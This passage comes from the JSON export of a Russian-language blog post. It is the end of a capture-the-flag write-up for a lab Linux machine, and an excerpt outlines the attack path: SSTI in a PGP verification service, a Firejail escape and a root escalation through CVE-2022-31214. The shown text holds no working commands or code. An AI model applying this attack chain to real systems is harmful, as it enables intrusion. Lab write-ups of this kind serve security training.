\u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u0443\u044e \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u0441\u043a\u0440\u0438\u043f\u0442\u0430:<\/p>\n\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/11\/image-6.png\" alt=\"\" class=\"wp-image-892\" width=\"800\" \/><figcaption class=\"wp-element-caption\">\u041f\u0435\u0440\u0432\u0430\u044f \u0441\u0435\u0441\u0441\u0438\u044f, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442<\/figcaption><\/figure><\/div>\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/11\/image-7.png\" alt=\"\" class=\"wp-image-893\" width=\"800\" \/><figcaption class=\"wp-element-caption\">\u0412\u0442\u043e\u0440\u0430\u044f \u0441\u0435\u0441\u0441\u0438\u044f, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u0434\u043e root<\/figcaption><\/figure><\/div>\n\n\n<p>\u041c\u044b \u0441\u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e <code>root<\/code> \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0435\u0433\u043e \u0444\u043b\u0430\u0433!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0421\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c: Medium \u041e\u0421: Linux \u0411\u0430\u043b\u043b\u044b: 30 IP: 10.10.11.218 \u0422\u0435\u0433\u0438: PGP, SSTI, Firejail, SUID Binary, Code Analysis, CVE-2022-31214 \u041a\u0440\u0430\u0442\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0439 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u0438 PGP \u043f\u043e\u0434\u043f\u0438\u0441\u0438, \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043a SSTI. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SSTI \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 atlas \u0438\u0437-\u0437\u0430 \u0440\u0430\u0431\u043e\u0442\u044b Firejail. \u0414\u0430\u043b\u0435\u0435, \u0432 \u0445\u043e\u0434\u0435 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-876","post","type-post","status-publish","format-standard","hentry","category-blog"],"translation":{"provider":"WPGlobus","version":"3.0.0","language":"en","enabled_languages":["ru","en"],"languages":{"ru":{"title":true,"content":true,"excerpt":false},"en":{"title":false,"content":false,"excerpt":false}}},"_links":{"self":[{"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/posts\/876","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/comments?post=876"}],"version-history":[{"count":33,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/posts\/876\/revisions"}],"predecessor-version":[{"id":917,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/posts\/876\/revisions\/917"}],"wp:attachment":[{"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/media?parent=876"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/categories?post=876"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/tags?post=876"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}